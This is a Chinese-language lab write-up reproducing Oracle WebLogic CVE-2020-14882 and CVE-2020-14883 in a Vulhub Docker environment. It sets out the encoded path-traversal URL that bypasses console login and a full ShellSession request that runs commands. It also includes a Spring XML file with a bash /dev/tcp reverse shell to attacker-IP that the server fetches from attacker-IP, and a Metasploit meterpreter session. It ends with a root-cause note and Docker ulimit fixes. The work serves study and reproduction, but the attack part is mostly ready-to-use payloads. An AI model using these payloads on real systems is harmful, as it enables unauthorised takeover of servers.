漏洞基础信息
| 漏洞编号 | 漏洞等级 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2020-14882 | 超危(CVSS 评分:9.8) | WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 | 权限绕过(路径遍历 + 身份验证绕过) |
WebLogic Server 两个高危漏洞 CVE-2020-14882 和 CVE-2020-14883 的复现过程。通过 Vulhub 搭建环境,利用路径遍历绕过认证访问控制台,并结合 OGNL 注入实现远程代码执行。文中提供了三种利用方式:BurpSuite 手动构造请求、Spring XML 反序列化反弹 Shell 以及 Metasploit 框架自动化攻击。最后分析了漏洞原理及 Docker 容器启动失败的文件描述符限制问题解决方案。
| 漏洞编号 | 漏洞等级 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2020-14882 | 超危(CVSS 评分:9.8) | WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 | 权限绕过(路径遍历 + 身份验证绕过) |
| CVE-2020-14883 | 高危(CVSS 评分:7.2) | 与 CVE-2020-14882 完全相同 | 身份验证后远程代码执行(RCE) |
使用 vulhub 快速搭建漏洞环境:
# 安装 Docker 和 docker-compose
apt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
# 确认容器启动状态
docker ps
注:如果启动容器后执行 docker ps 发现容器并没有如预期启动,很有可能是容器/宿主机内存不足或 Docker 容器默认的文件描述符(nofile)上限过低,详情可参见附录。
可正常访问控制台页面 http://target-IP:7001/console 说明启动成功。
nmap -sS -Pn -T4 --top-ports 1000 --version-intensity 3 -sV --script "default,vulners" target-IP
扫描结果示例:
PORT STATE SERVICE VERSION
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 enabled)
MAC Address: 00:0C:29:B3:23:74 (VMware)
7001 端口正常开放,WebLogic 服务运行,版本为 12.2.1.3(该版本存在 CVE-2020-14882/14883 等高危漏洞),T3 协议已启用。
直接使用浏览器访问,无需输入账号密码,直接进入 WebLogic 控制台主页:
http://target-IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentSummaryPage
利用 com.tangosol.coherence.mvel2.sh.ShellSession 类执行 whoami/id 等基础命令,验证 RCE 漏洞。该方法只能在 12.2.1.x 及以上版本使用。使用 BurpSuite 发送请求:
GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1 Host: target-IP:7001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: ADMINCONSOLESESSION=g8W5R3N85JwXsN-2PsQHvrB3shquvZV8gq3jw6HHadb2ay7Y5gM8!-210550995; JSESSIONID=node0qmnscecp1q6f1fba8a8bhtien0.node0 cmd: id # 核心请求
可直接返回结果。
利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类。
首先 systemctl start apache2 启动 apache2,在 /var/www/html 目录下构建一个 xml 文件:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/attacker-IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
攻击机使用 nc -lvvp 4444 监听端口,访问如下网址:
http://target-IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://attacker-IP/rce.xml")
反弹 shell 成功。
使用 metasploit 直接反弹 shell,先查询是否有可用模块:
msfconsole
msf > search CVE-2020-14882
设置参数:
msf > use exploit/multi/http/weblogic_admin_handle_rce
msf exploit(multi/http/weblogic_admin_handle_rce) > set RHOST 192.168.31.148
msf exploit(multi/http/weblogic_admin_handle_rce) > set LHOST 192.168.31.152
msf exploit(multi/http/weblogic_admin_handle_rce) > set LPORT 4444
msf exploit(multi/http/weblogic_admin_handle_rce) > set PAYLOAD linux/x64/meterpreter_reverse_https
msf exploit(multi/http/weblogic_admin_handle_rce) > set TARGET 1
执行攻击后共生成了 23 条会话,使用 sessions 查看所有 session,使用 sessions -i [id] 选取其中任意一个:
msf exploit(multi/http/weblogic_admin_handle_rce) > run
[*] Started HTTPS reverse handler on https://192.168.31.152:4444
[*] The target is vulnerable. Path traversal successful.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
msf exploit(multi/http/weblogic_admin_handle_rce) > sessions -i 1
[*] Starting interaction with 1...
连接成功后不能直接执行 Linux 命令,需要使用 shell 切换到系统原生 Shell。此时是功能十分受限的非交互式 Shell,使用 python -c "import pty;pty.spawn ('/bin/bash')" 升级全交互式终端。
meterpreter > shell
Process 688 created. Channel 1 created.
python -c "import pty;pty.spawn ('/bin/bash')"
# 升级全交互式终端
[oracle@57c9304d2c9b base_domain]$ id
[oracle@57c9304d2c9b base_domain]$ uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
至此反弹 shell 成功。
WebLogic 管理控制台(Console)的访问控制逻辑存在缺陷:
console/css/%252e%252e%252fconsole.portal),将静态资源访问请求伪装成控制台核心页面请求,绕过认证直接进入后台管理界面。WebLogic 控制台的 Diagnostic Framework 等功能模块存在OGNL 表达式注入漏洞:
执行 docker-compose up -d 后发现容器并没有按照预期正常启动,docker-compose logs 查看日志:
weblogic-1 | library initialization failed - unable to allocate file descriptor table - out of memory
... weblogic.WLST "$@"
经过深入研究发现错误提示中的 out of memory 是内核误导性表述,并非物理内存不足(测试验证 2G 虚拟机也能正常启动)。
真实原因是 Docker 容器默认的 nofile(最大可打开文件描述符数)上限仅为 1024,而 WLST 初始化时需要加载大量配置文件、类库、网络连接,需创建远超 1024 的文件句柄,内核无法分配足够的文件描述符表,最终导致 WLST 进程崩溃(Aborted (core dumped))。所以这个报错的本质是'文件描述符资源耗尽',而非'内存不足'。
修改 vulhub/weblogic/CVE-2020-14882/docker-compose.yml 为以下完整配置:
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"
ulimits:
nofile:
soft: 65535
hard: 65535
注意缩进,缩进错误可能会导致报错。
Docker 全局永久修改方案:
编辑 Docker 的 daemon 配置文件 /etc/docker/daemon.json:
{
"default-ulimits": {
"nofile": {
"Name": "nofile",
"Hard": 65535,
"Soft": 65535
}
},
"registry-mirrors": ["镜像地址"]
}
重启 Docker 服务,让配置生效:
systemctl daemon-reload
systemctl restart docker

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online